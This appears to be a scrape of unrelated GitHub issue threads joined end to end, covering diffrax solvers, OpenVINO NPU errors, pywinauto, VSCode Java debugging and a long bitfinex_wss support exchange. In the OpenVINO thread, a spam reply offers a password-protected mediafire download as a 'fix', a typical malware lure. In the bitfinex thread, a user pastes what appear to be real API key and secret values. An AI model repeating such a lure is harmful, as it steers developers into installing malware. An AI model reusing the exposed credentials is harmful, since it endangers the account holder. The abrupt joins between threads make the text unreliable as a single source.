Making a simulation simulatneously on 2 different solvers

Hi,
First, thanks to those developing this library that is useful to my work.
I want to compute an ODETerm running on two different solvers simultaneously. Is it possible ?
Let me explain myself:
I have a
class State(eqx.Module):
    y: Array
    error: Array
where I would like to compute y along a Tsit5 solver and error along a Euler one for instance.
(I don't need a large precision over the error for the resolution, and a structure preserving schema, so running it on euler why running the y on Tsit5 would make sense)
Why not running them separately ?
Because the error is itended to be an posteriori estimates of the error made by the truncation in space for y (which theoreticaly lives in an infinite dimensional space, but has to be truncated to a finite one to be computed, which induces an approximation).
If 'error' estimates that the truncature is poor at a moment t of the simulation, it goes out of diffrax via a DiscreteTerminatingEvent, widen the truncature for y, and return to diffrax at this t.
I have $\frac{d(error)}{dt}=f(y)$" with f being a non trivial function. Thus I cannot run those things separately.
Is there a way to do such a thing ?
I hope i'm clear enough. Don't hesitate to tell if it's not the case.

My go to approach (not sure if it is the simplest) would be to make a custom solver. If you define a custom step function, that returns a y update and uses a different method for computing the error that should (in code, not sure about theory) work. If you can discard the Tsit5 error you could just make it a wrapper on that then define a step function that calls to Tsit5 step, then discards the error, computes a new one and returns that. If you can't/don't want the Tsit5 error to be computed at all, solver approach should still work you might just have to write/copy more step code.

Agreed, this sounds like a use case for writing a custom solver. I'd recommend taking a look at the source code for a simple solver like Euler for an example of what that looks like.
You can of course arrange for your custom solver to just wrap an existing one (like Tsit5):
class MySolver(diffrax.AbstractSolver):
    solver: AbstractSolver

    def step(...):
        ... = self.solver.step(...)

solver = MySolver(Tsit5())

I'm not sure why you want to use Euler instead of Tsit5's embedded error estimate, though. Using the latter will actually be cheaper! Using the latter will actually be cheaper! All of the required function evaluations have already been made.

Ah, sorry -- I didn't understand that detail.
So I think you could still make this happen with a custom solver. A solver gets to return a result specifying whether things are proceeding acceptably. I think you shoudl be able to have your solver output diffrax.RESULTS.event_occurred, which will cause the solve to halt at that step.

Yes indeed !
I can get the knowledge of whether my condition is triggered (when error > a certain tolerance) via an event, the solver stops there and I get the knowledge of whether it stoped through my event via solution.event_mask for instance. And that's exactly what I do.
Though to check my condition I have to check this error which I need to integrate along the trajectory since
It's form is $|error(t)|_1 \leq |error(0)|_1 + \int_0^t  |f_s(y(s))|_1$
To do this I have a custom ODETerm which is computing both $\dot{y}$ and $\dot{error}$ through a Tsit5 solver, and then my condition applies on state.sol.error to check the tolerance and apply the event etc..
The problem is it applies Tsit5  BOTH to computing y and error doing this. I would like to apply tsit5 to y and euler to error (for computation efficiency and structure preserving considerations)


[WIP] More advanced API

Use symfony/cache to store Dialog cache

closing as almost everything implemented  in other PRs


Examples of notebooks/pixart cannot convert pixart model due to to_shape was called on a dynamic shape.

Describe the bug
When compiling to NPU, runtime error raised.
--> compiled_model = ov.compile_model(converted_model, device_name='NPU')

RuntimeError: Exception from src/inference/src/cpp/core.cpp:104:
Exception from src/inference/src/dev/plugin.cpp:53:
Exception from src/plugins/intel_npu/src/plugin/src/plugin.cpp:674:
Exception from src/plugins/intel_npu/src/plugin/src/compiled_model.cpp:61:
Exception from src/core/src/partial_shape.cpp:266:
to_shape was called on a dynamic shape.

The model remains unchanged (PixArt-alpha/PixArt-LCM-XL-2-1024-MS).
Installation instructions (Please mark the checkbox)
[ x ] I followed the installation guide at https://github.com/openvinotoolkit/openvino_notebooks#-installation-guide to install the notebooks.
** Environment information **
OpenVINO IE version: 2024.3.0-36-5e5f3726bef
Python version: 3.10
torch version: 2.4.0
transformers version: 4.44.2

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

@peterzheng98
unfortunatly, NPU does not support dynamic shapes yet as stated in your error message. You can try to reshape model to static input shapes like demonstrated in this notebook https://github.com/openvinotoolkit/openvino_notebooks/blob/latest/notebooks/openvino-api/openvino-api.ipynb
@dmatveev @smirnov-alexey do you have info about pixart model support on NPU?


Added lint as action

This gives cleaner integration compared to digging around in cloudbuild output. We still may need to do GCB integration to perform further checks though. https://github.com/golangci/golangci-lint-action

Codecov Report

Merging #30 (e098d01) into main (ff6e921) will not change coverage.
The diff coverage is n/a.

:exclamation: Current head e098d01 differs from pull request most recent head 89e3386. Consider uploading reports for the commit 89e3386 to get more accurate results

@@           Coverage Diff           @@
##             main      #30   +/-   ##
=======================================
  Coverage   88.93%   88.93%
=======================================
  Files           7        7
  Lines         497      497
=======================================
  Hits          442      442
  Misses         50       50
  Partials        5        5

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ff6e921...89e3386. Read the comment docs.


How to use is_process_running ?

Document says :
Check that process is running.
Can be called before start/connect.
Return True if process is running otherwise - False.
So, my problem is :
before I start/connect a process, how to test it?
thanks!

@rockyzhz, I think you are right, the doc is misleading. The meaning of the comment was that calling the method before start/connect won't crash the script. The purpose of the method is mostly to verify that automated process still exists. We need to update the doc. Also a small example for clarity:
import pywinauto

app = pywinauto.Application()
# Will return False
print(app.is_process_running())

# Now after connecting to a running application
# we'll get True
app.connect(path="vim.exe")
print(app.is_process_running())

@rockyzhz, I think you are right, the doc is misleading. The meaning of the comment was that calling the method before start/connect won't crash the script. The purpose of the method is mostly to verify that automated process still exists. We need to update the doc. Also a small example for clarity:
import pywinauto

app = pywinauto.Application()
# Will return False
print(app.is_process_running())

# Now after connecting to a running application
# we'll get True
app.connect(path="vim.exe")
print(app.is_process_running())

So, according to my understanding, if I want to test whether an application is running or not,
so that I can choose the method between 'start' and 'connect' to use, a reasonable solution is:
import pywinauto

process_is_running = True
try:
    app = pywinauto.Application().connect(path="vim.exe")
except pywinauto.application.ProcessNotFoundError:
    process_is_running = False

print(process_is_running)

Right. It looks reasonable for me too: if you get an exception on connect call you should fall back to start.  Later on, during the run of your automation, you can use is_process_running if you want to verify that the automated application is still alive.


web_accessible context

Closes #35 and #12

Adds web_accessible context for pages in web_accessible_resources
Fixes communication between the background script and web_accessible_resources pages
Fixes invalid context type (background) with messages from web_accessible_resources pages
Adds documentation about the new context

✅ Ready for review + tested with onMessage and sendMessage (with tabId as destination)

Hi @zikaari, what needs to be done to make this MR merged? We also have this issue and want to fix it asap

The pr is ready, but it doesn't seem like the developer os merging a lot of prs. Let's hope it gets merged asap :)

Hi @zikaari , can we move this PR forward?

Apologies for the long delay folks, I've been working on a very important problem with webext-bridge.
@martonlederer Thank you the effort! v5.0.0 is no longer under development, please use the new framework available in next branch of this repo. Fortunately it is actually less work than what you have done already.
It is as simple as createEndpointRuntime('<endpoint_name>', <routing handler>), see implementation for popup  or window  as a reference.

Wow thank you! That's amazing

@martonlederer You dropped the PR, Is it working with next branch somehow?

@zikaari haven't been able to test that yet, I didn't have time to update my extension with it, so rn I just published my patch to npm, so it works temporary. Once I'm done with everything else, I'm gonna try and test it :)

Hi @martonlederer, I wonder that can you share your publishing package? I need it on my project as well
Thank you for your hard work


Declare structs for types with more than a single ReadArgs argument

Currently if a type has multiple read arguments, we pass them in as a tuple, but this makes it very easy to lose track of them, especially if the arguments are of the same type. It would be nice if instead of this, we declared a struct with named fields, and used that.
In this world,
#[read_args(number_of_h_metrics: u16, num_glyphs: u16)]
table Hmtx {
    // ...
}

would produce:
pub struct HmtxArgs {
    pub number_of_h_metrics: u16,
    pub num_glyphs: u16,
}

impl ReadArgs for Hmtx {
    type Args = HmtxArgs;
}

impl<'a> FontReadWithArgs<'a> for Hmtx<'a> {
    fn read_with_args(data: FontData<'a>, args: &HmtxArgs) -> Result<Self, ReadError> {
        let HmtxArgs { number_of_h_metrics, num_glyphs } = *args;
        // ..
    }
}

instead of,
impl ReadArgs for Hmtx {
    type Args = (u16, u16);
}

impl<'a> FontReadWithArgs<'a> for Hmtx<'a> {
    fn read_with_args(data: FontData<'a>, args: &(u16, u16)) -> Result<Self, ReadError> {
        let (number_of_h_metrics, num_glyphs) = *args;
    }
}

which should be much easier to understand.

Ideally I would like to see us generate that struct, though I wouldn't view that as a hard requirement

My intention was also for us to generate the args struct.


cannot resolve symbol 'MATRIX_SAVE_FLAG'

It seems like that you haven't import the class correctly. The complete class name is android.graphics.Canvas and the constant MATRIX_SAVE_FLAG is defined at line 317(sdk 28).

@CVProgramer Any other question? If the answer is negative, I'll close this issue later. Feel free to reply or just file another one.

Thanks for your answer!
------------------ Original ------------------
From: Li Zhao Tai Lang<EMAIL_ADDRESS>Date: Tue,Apr 23,2019 6:51 PM
To: TonnyL/Espresso<EMAIL_ADDRESS>Cc: CVProgramer<EMAIL_ADDRESS>Mention<EMAIL_ADDRESS>Subject: Re: [TonnyL/Espresso] cannot resolve symbol 'MATRIX_SAVE_FLAG' (#18)
@CVProgramer Any other question? If the answer is negative, I'll close this issue later. Feel free to reply or just file another one.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.


Add support for Id Pools vSN, vMAC, vWWN Ranges

Add support for Id Pools vSN, vMAC, vWWN Ranges

We are thinking that these three classes are very similar. They are all types of ID Pool Ranges. So an inheritance could be a better choice to abstract the ID Pool Ranges.

I really like that idea! I'll work on implementing inheritance for ID pool ranges and create a new pull request when I'm done.


Debugging Java on VSCode

Introduction
Welcome to this quick reference on debugging your Java code using VSCode. Now, before the Vim enthusiasts come at me, let me just say this: I know the main guideline here is to embrace the Vim, and you should definitely learn how to use it.
But I mean, if by chance your code goes wrong, and you're not sure why, VSCode is just sitting there on your computer, quietly whispering, "Hey, I can edit and debug, you know."  ¯\ _ (ツ) _ /¯

I'm not saying you should use VSCode for debugging, but rather simply you can use it. There are multiple debuggers works (IntelliJ etc). Use whatever tickles your fancy.

Context
Now, a bit of context. Ever since Lab 1, I have set out on a quest to simulate the command java Main < 1.in in the program, through variable manipulation to I/O editing, though none has been successful (Thanks TA for putting up with my questions). I then started searching up the command structure, which ultimately leads me to this. Equipped with that knowledge, I was able to figure out a way to pass in the input files for the debugger!
Requirements

Visual Studio Code
Visual Studio Code Extension Pack for Java
Git

Procedures

We first need to set the console environment to Unix environment (similar to msys). After you have opened your folder location, you should see a bottom window showing "Problems, Output, Debug Console...". Select on Terminal (or you can press "Ctrl + `"). Click on the arrow beside the "+" icon, and select "Select Default Profile". The default would be set to Powershell.

You should then see these pop up at the top of the screen. Select "Git Bash" to change to Unix terminal.

With our environment changed, we now need to setup the launch config for our debugger session. Here's the current one which worked for me:

{
    "version": "0.2.0",
    "configurations": [
        {
            "type": "java",
            "name": "Current File",
            "console":"internalConsole",
            "request": "launch",
            "mainClass": "${file}",
            "args": ["<", "${workspaceFolder}/1.in"]
        },
        {
            "type": "java",
            "name": "Main",
            "request": "launch",
            "mainClass": "Main",
            "projectName": "Lab", //change this to whatever is generated for you.
            "args": ["<", "${workspaceFolder}/1.in"]
        }
    ]
}

And that's it! You'll be able to run the debugging session. Hope this helps you as much as it helps me! Honestly the debugging configuration doesn't look perfect, but I'm just winging it at this point. You know the saying:

If it ain't broken, don't fix it.

Here's a homage to whatever I've been doing so far:

1: this won’t work for JShell scripts.
How then?
Create a test class then! Put your functions in it, set some breakpoints, and make it go!
2: I only use it for CS2030
lol no, CS2040 will make heavy use of the Debugger, so better learn what VSCode can do or else have fun printing statements.
VSCode: Say “GOOD BYE!EVERYONE!” to Print Debugging.
Also note this applies to other IDEs, like JetBrain IntelliJ line of IDEs.

Adding print after every line is basically me doing lab[🃏]

Adding print after every line is basically me doing lab[🃏]

and forgetting to remove a hidden print in the mountain of codes is what caused me 2hours of pain getting F grade on CodeCrunch...

…which is why you use a debugger outside the lab.
Get Outlook for iOShttps://aka.ms/o0ukef

From: Graceee @.>
Sent: Sunday, March 17, 2024 12:48:05 AM
To: nus-cs2030/2324-s2 @.>
Cc: Zhang Hao Dong @.>; Comment @.>
Subject: Re: [nus-cs2030/2324-s2] Debugging Java on VSCode (Issue #137)
Adding print after every line is basically me doing lab[🃏]
and forgetting to remove a hidden print in the mountain of codes is what caused me 2hours of pain getting F grade on CodeCrunch...
—
Reply to this email directly, view it on GitHubhttps://github.com/nus-cs2030/2324-s2/issues/137#issuecomment-2002043127, or unsubscribehttps://github.com/notifications/unsubscribe-auth/BBRJ5GRNQWTXIKMS737JFB3YYRZULAVCNFSM6AAAAABD3R3D2KVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDAMBSGA2DGMJSG4.
You are receiving this because you commented.Message ID: @.***>

BONUS
Sick and tired of constantly passing checkstyle *.java?
Go install the Checkstyle extension from the VSCode marketplace

Then set up your extension as follows:
...
    "checkstyle.configurationPath": "...\\cs2030_checks.xml",
    "checkstyle.checkstylePath": "...\\checkstyle-10.3.3-all.jar",
...


UAA token returning as invalid during simultaneous authentication attempts

When running many om curls occasionally ops manager returns a 401 error response. After some digging, it looks like an issue regarding multiple authentication attempts at the same time to UAA for the same client.
To reproduce this issue, run 2 while loops with a command like this om -k -e env.yml -t <target> curl -s -p "/api/${SOME_AUTH_ENDPOINT}". In the ops manager logs, you should see something like: When decoding UAA token, received: CF::UAA::InvalidToken - error response.

Closing as the change was already committed to the main branch.


Bump extend and void-elements

npm v3 tries to dedupe the dependencies by default, and keeping dependencies up-to-date helps better deduplication.

extend from v2.x to v3.x

Use global "strict" directive https://github.com/justmoon/node-extend/pull/32

void-elements from v1.x to v2.x

Make the module an object instead of array https://github.com/jadejs/void-elements/issues/5

:+1:

Published in 2.2.1

Thanks for the new release!


Support for Windows XP

A user would like to run on WinXP (!), but the x86-windows build does not run -- error message says "not a win32 application"

I have a report from a user of successfully using Synergize on Windows8.   It may work on Windows7, but nothing earlier than that.


add the bioscales template itself (not it's slots) to nmdc.yaml

possible through an import statement
will require some dependent terms

@cmungall and @mslarae13 :

Oops, I created a bioscales class (is_a: dh_interface) and a Bioscales class (is_a: dh_section)
I'll have to fix that. Any suggestions?

I don't see any Bioscales class anymore. The bioscales terms are imported from src/schema/bioscales.yaml
That does address the issue of the potential growth of nmdc-schema.yaml when all of the submission schema stuff in merged in.
@cmungall has a schema fixer that might remove slot_usage statements that re-assert attributes that are already asserted at the schema level.
see https://github.com/linkml/linkml/issues/909


sql: support migrate directory and add implement mysql planner

The 2 commits don't have 2 much in common, but I added the mysql plan implementation to give some idea how the usage looks like.
The rest of the drivers will be added in the next diffs.

Nice work, maybe add it to atlas next week?

Why next week? ;)


I am trying to store btfxwssraw for storing data but it is not working

wss1 = BtfxWssRaw(key=apikey,secret=apisecret,output_dir='data/')
wss1.start()
using the following code ,  i am trying to store data ,
It created all the csv files , but it is somehow not storing anything.

Are you using dev or master ?

what is dev or what is master.
it pip installed this : https://github.com/nlsdfnbch/bitfinex_wss.git
Regards,
Nitin Gupta
9731423808
On Sun, Apr 23, 2017 at 11:42 PM, Nils<EMAIL_ADDRESS>wrote:

Are you using dev or master ?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296470631,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05nURgZxoJbtCslVvwyFVYqL4gHE8ks5ry5SlgaJpZM4NFSvU
.

dev and master refers to the branches of this git project.
pip installation isn't currently supported, and I haven't uploaded the package there yet. It may be a third-party deployment (by a bot, for example). Please download the code from this repo and try again.
Thanks for your effort!

i have to download the code from this repository and then ?
run setup.py ?
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 8:20 PM, Nils<EMAIL_ADDRESS>wrote:

dev and master refers to the branches of this git project.
pip installation isn't currently supported, and I haven't uploaded the
package there yet. It may be a third-party deployment (by a bot, for
example). Please download the code from this repo and try again.
Thanks for your effort!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296692919,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05hGSyhYrVyXGulE7ZOZlf2bEeIj3ks5rzLa8gaJpZM4NFSvU
.

one more question ?
which one should i download ?
Dev or master
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 8:33 PM, Nitz Gupta<EMAIL_ADDRESS>wrote:

i have to download the code from this repository and then ?
run setup.py ?
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 8:20 PM, Nils<EMAIL_ADDRESS>wrote:

dev and master refers to the branches of this git project.
pip installation isn't currently supported, and I haven't uploaded the
package there yet. It may be a third-party deployment (by a bot, for
example). Please download the code from this repo and try again.
Thanks for your effort!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296692919,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05hGSyhYrVyXGulE7ZOZlf2bEeIj3ks5rzLa8gaJpZM4NFSvU
.

Apologies, I misread your installation. You have already installed from my git repository (by default this installs master).
before I look into this, one final thing - what Python version are you using?

Also, could you attach your log files? It should be in the working directory you call your code from (if you use the sample code in the readme, it should be called test.log).

test - Copy (2).log
https://drive.google.com/file/d/0B9-JgLO1Bg7rMGVJd1BWR3pXbms/view?usp=drive_web
sending the file but it is too large
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 8:53 PM, Nils<EMAIL_ADDRESS>wrote:

Also, could you attach your log files? It should be in the working
directory you call your code from (if you use the sample code in the
readme, it should be called test.log).
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296704735,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05oo0Jv1JHJEVZR0iJMRdIsR9nHxnks5rzL6IgaJpZM4NFSvU
.

It runs as expected on my machine now. Pull / install the fix from the repository, and let me know if it works for you now!

are you able to save btfxwssraw file somewhere on your computer ?
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 10:22 PM, Nils<EMAIL_ADDRESS>wrote:

It runs as expected on my machine now. Pull / install the fix from the
repository, and let me know if it works for you now!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296740830,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05ja85PTnh5XiSRGOqNU0mXKHBFmSks5rzNNLgaJpZM4NFSvU
.

I tried running it again , it is still not saving anything ,
if it has to rotate after sometime , it has to save saving in a folder
right ?
this is the code that i am running
from btfxwss import BtfxWss,BtfxWssRaw
import logging
import sys
import time
logging.basicConfig(level=logging.DEBUG, filename='test.log')
log = logging.getLogger(name)
fh = logging.FileHandler('test.log')
fh.setLevel(logging.DEBUG)
sh = logging.StreamHandler(sys.stdout)
sh.setLevel(logging.DEBUG)
log.addHandler(sh)
log.addHandler(fh)
apikey = 'your api key '
apisecret = 'your api secret'
wss = BtfxWss(key=apikey, secret=apisecret)
wss.start()
time.sleep(1)  # give the client some prep time to set itself up.
wss.authenticate()
Subscribe to some channels
wss.ticker('BTCUSD')
wss.order_book('BTCUSD')
Send a ping - if this returns silently, everything's fine.
wss.ping()
Do something else
t = time.time()
while time.time() - t < 10:
pass
print(wss.tickers['BTCUSD'])
print(wss.books['BTCUSD'].bids())  # prints all current bids for the BTCUSD
order book
print(wss.books['BTCUSD'].asks())  # prints all current asks for the BTCUSD
order book
wss1 = BtfxWssRaw(key=apikey,secret=apisecret,output_dir='data/',
rotate_to='var/')
#wss1 = BtfxWssRaw(key=apikey,secret=apisecret,
rotate_at='13:59')
wss1.start()
you can change the rotate_at part to something after five minutes when you
start running the code and let me know if you run into any error.
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 10:23 PM, Nitz Gupta<EMAIL_ADDRESS>wrote:

are you able to save btfxwssraw file somewhere on your computer ?
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 10:22 PM, Nils<EMAIL_ADDRESS>wrote:

It runs as expected on my machine now. Pull / install the fix from the
repository, and let me know if it works for you now!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296740830,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05ja85PTnh5XiSRGOqNU0mXKHBFmSks5rzNNLgaJpZM4NFSvU
.

Running this:
`from btfxwss import BtfxWssRaw
import time
import logging
import sys
logging.basicConfig(level=logging.DEBUG, filename='test.log')
log = logging.getLogger(name)
fh = logging.FileHandler('test.log')
fh.setLevel(logging.DEBUG)
sh = logging.StreamHandler(sys.stdout)
sh.setLevel(logging.DEBUG)
log.addHandler(sh)
log.addHandler(fh)
wss = BtfxWssRaw(key='my_api_key', secret='my_api_secret', output_dir='./', rotate_to='./')
wss.start()
time.sleep(1)  # give the client some prep time to set itself up.
Send a ping - if this returns silently, everything's fine.
wss.ping()
wss.ticker('BTCUSD')
wss.order_book('BTCUSD')
Do something else
t = time.time()
while time.time() - t < 10:
pass
wss.stop()`
Created the files for me, with btfx_book.csv and btfx_ticker.csv containing data, and all other files being empty (this is due to the fact that I only subscribe to a ticker and a orderbook channel, and is expected behaviour).
Does this code also result in all files being empty on your machine ?

where would this data be stored.....
i ran the code as you said,
it create all the files but it is not storing anything.
It is 0kb
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 10:39 PM, Nils<EMAIL_ADDRESS>wrote:

Running this:
`from btfxwss import BtfxWssRaw
import time
import logging
import sys
logging.basicConfig(level=logging.DEBUG, filename='test.log')
log = logging.getLogger(name)
fh = logging.FileHandler('test.log')
fh.setLevel(logging.DEBUG)
sh = logging.StreamHandler(sys.stdout)
sh.setLevel(logging.DEBUG)
log.addHandler(sh)
log.addHandler(fh)
wss = BtfxWssRaw(key='my_api_key', secret='my_api_secret',
output_dir='./', rotate_to='./')
wss.start()
time.sleep(1) # give the client some prep time to set itself up.
Send a ping - if this returns silently, everything's fine.
wss.ping()
wss.ticker('BTCUSD')
wss.order_book('BTCUSD')
Do something else
t = time.time()
while time.time() - t < 10:
pass
wss.stop()`
Created the files for me, with btfx_book.csv and btfx_ticker.csv
containing data, and all other files being empty (this is due to the fact
that I only subscribe to a ticker and a orderbook channel, and is expected
behaviour).
Does this code also result in all files being empty on your machine ?
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296749432,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05iP7BDTrPqt_BHTKU11iKGSH252eks5rzNdlgaJpZM4NFSvU
.

If you run your script in /tmp/, using the code above the files would be stored under /tmp/ directly. So the files should be generated in your current working directory, and all files except btfx_tickers.csv and btfx_books.csv should be 0KB.

If you have pulled / installed the new commits, and it's still not working, please upload a new log (delete the old one before you run the script - that way it's not too cluttered). That way, I may be able to figure out where it's not working.
Thanks for your patience!

running this code :
from btfxwss import BtfxWss,BtfxWssRaw
import logging
import sys
import time
logging.basicConfig(level=logging.DEBUG, filename='test.log')
log = logging.getLogger(name)
fh = logging.FileHandler('test.log')
fh.setLevel(logging.DEBUG)
sh = logging.StreamHandler(sys.stdout)
sh.setLevel(logging.DEBUG)
log.addHandler(sh)
log.addHandler(fh)
apikey = 'UJhQerjgr7zcg14DpaarUYjYu8uImaI2lF8qKiGXI9c'
apisecret = 'dIPL4BFs6BHvuyVeZ74U218xKZRyRGBI76DVreQH4f1'
wss = BtfxWssRaw(key=apikey, secret=apisecret,output_dir='./',
rotate_to='./')
wss.start()
time.sleep(1)  # give the client some prep time to set itself up.
wss.authenticate()
Subscribe to some channels
wss.ticker('BTCUSD')
wss.order_book('BTCUSD')
Send a ping - if this returns silently, everything's fine.
wss.ping()
Do something else
t = time.time()
while time.time() - t < 10:
pass
wss.stop()
#print(wss.tickers['BTCUSD'])
#print(wss.books['BTCUSD'].bids())  # prints all current bids for the
BTCUSD order book
#print(wss.books['BTCUSD'].asks())  # prints all current asks for the
BTCUSD order book
#wss1 = BtfxWssRaw(key=apikey,secret=apisecret,output_dir='data/',
rotate_at='22:35',rotate_to='var/')
#wss1 = BtfxWssRaw(key=apikey,secret=apisecret,
rotate_at='13:59')
#wss1.start()
the new logfile as you asked.
the data stored in current working directory is all 0kb. even
btfx_tickers.csv and btfx_books.csv
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 10:54 PM, Nils<EMAIL_ADDRESS>wrote:

If you have pulled / installed the new commits, and it's still not
working, please upload a new log (delete the old one before you run the
script - that way it's not too cluttered). That way, I may be able to
figure out where it's not working.
Thanks for your patience!
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296756986,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05kjhOak-ehVLjuMTuvrNz81vJbeNks5rzNregaJpZM4NFSvU
.

@GenesisGupta , sorry, I don't see a new log - did you miss a link ?

sending the log again
Regards,
Nitin Gupta
9731423808
On Mon, Apr 24, 2017 at 11:07 PM, Nils<EMAIL_ADDRESS>wrote:

@GenesisGupta https://github.com/GenesisGupta , sorry, I don't see a
new log - did you miss a link ?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-296763070,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05kifa_tOdQnGLyX0-Hw4g3l9A5Scks5rzN3pgaJpZM4NFSvU
.

@GenesisGupta , if you've updated your previous upload at https://drive.google.com/file/d/0B9-JgLO1Bg7rMGVJd1BWR3pXbms/view, then you appear to not have the latest commits I added to master and should re-install from github.
If that's not the log you uploaded anew, then I don't see where you've uploaded it to, sorry.

pls check this log and let me know in case of any queries.
I am looking at solving this from 2 days.
Thanks for all the efforts of resolving the queries till now.
Regards,
Nitin Gupta
9731423808
On Tue, Apr 25, 2017 at 9:04 PM, Nils<EMAIL_ADDRESS>wrote:

@GenesisGupta https://github.com/GenesisGupta , if you've updated your
previous upload at https://drive.google.com/file/d/0B9-
JgLO1Bg7rMGVJd1BWR3pXbms/view, then you appear to not have the latest
commits I added to master and should re-install from github.
If that's not the log you uploaded anew, then I don't see where you've
uploaded it to, sorry.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/nlsdfnbch/bitfinex_wss/issues/7#issuecomment-297070069,
or mute the thread
https://github.com/notifications/unsubscribe-auth/Aam05v2BjGN_EQFY9NI0hhxcPUEYrwx1ks5rzhKKgaJpZM4NFSvU
.

Alright, we're obviously not quite on the same page - I do not know which log you're referring to, since there is no log attached to your last reply.
Please copy and paste the content of the log file to https://pastebin.com/ and post the link to it on here.
Otherwise, I cannot help you.

i have attached the file in the mail itself.
i uninstalled and reinstalled the git today again some time back.
INFO:btfxwss.classes:BtfxWss.start(): Initializing Websocket connection..
INFO:btfxwss.classes:BtfxWss.start(): Initializing receiver thread..
INFO:btfxwss.classes:BtfxWss.start(): Initializing processing thread..
INFO:btfxwss.classes:BtfxWss.start(): Initializing rotator thread..
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.0510244,
{'version': 2, 'event': 'info'})
INFO:btfxwss.classes:handle_response: Handling response {'version': 2,
'event': 'info'}
DEBUG:btfxwss.classes:_subscribe: {'channel': 'ticker', 'event':
'subscribe', 'symbol': 'BTCUSD'}
DEBUG:btfxwss.classes:_subscribe: {'channel': 'book', 'event': 'subscribe',
'symbol': 'BTCUSD'}
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3776097,
{'chanId': 1, 'pair': 'BTCUSD', 'channel': 'ticker', 'event': 'subscribed',
'symbol': 'tBTCUSD'})
INFO:btfxwss.classes:handle_response: Handling response {'chanId': 1,
'pair': 'BTCUSD', 'channel': 'ticker', 'event': 'subscribed', 'symbol':
'tBTCUSD'}
DEBUG:btfxwss.classes:_handle_subscribed: 1 - ticker - {'pair': 'BTCUSD',
'event': 'subscribed', 'symbol': 'tBTCUSD'}
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3826127,
[1, [1371.6, 1.37, 1372.4, 0.7658, 31.4, 0.0234, 1373, 8341.9640492,
1378.5, 1330.2]])
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.3926194,
{'event': 'pong'})
INFO:btfxwss.classes:handle_response: Handling response {'event': 'pong'}
INFO:btfxwss.classes:BtfxWss.ping(): Ping received! (0.34246087074279785s)
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.571859,
{'len': '25', 'pair': 'BTCUSD', 'channel': 'book', 'freq': 'F0', 'chanId':
5, 'event': 'subscribed', 'symbol': 'tBTCUSD', 'prec': 'P0'})
INFO:btfxwss.classes:handle_response: Handling response {'len': '25',
'pair': 'BTCUSD', 'channel': 'book', 'freq': 'F0', 'chanId': 5, 'event':
'subscribed', 'symbol': 'tBTCUSD', 'prec': 'P0'}
DEBUG:btfxwss.classes:_handle_subscribed: 5 - book - {'len': '25', 'pair':
'BTCUSD', 'symbol': 'tBTCUSD', 'event': 'subscribed', 'freq': 'F0', 'prec':
'P0'}
DEBUG:btfxwss.classes:receiver Thread: Data Received:<PHONE_NUMBER>.5778627,
[5, [[1371.4, 2, 1.355], [1371.2, 1, 0.4326], [1370.9, 1, 1.722], [1370.3,
1, 0.75], [1370, 1, 4.60605991], [1368.9, 1, 0.75], [1368.6, 2, 0.3],
[1368.5, 1, 0.020016], [1368.1, 1, 0.1], [1368, 1, 0.2], [1367.8, 2,
2.011721], [1367.6, 3, 2.46797008], [1367.5, 1, 0.75], [1367.2, 1, 0.1],
[1367.1, 1, 0.1], [1367, 1, 0.72], [1366.9, 1, 2], [1366.5, 2, 2.76855804],
[1366.1, 4, 1.03896], [1366, 2, 0.2], [1365.8, 1, 0.7625], [1365.6, 1,
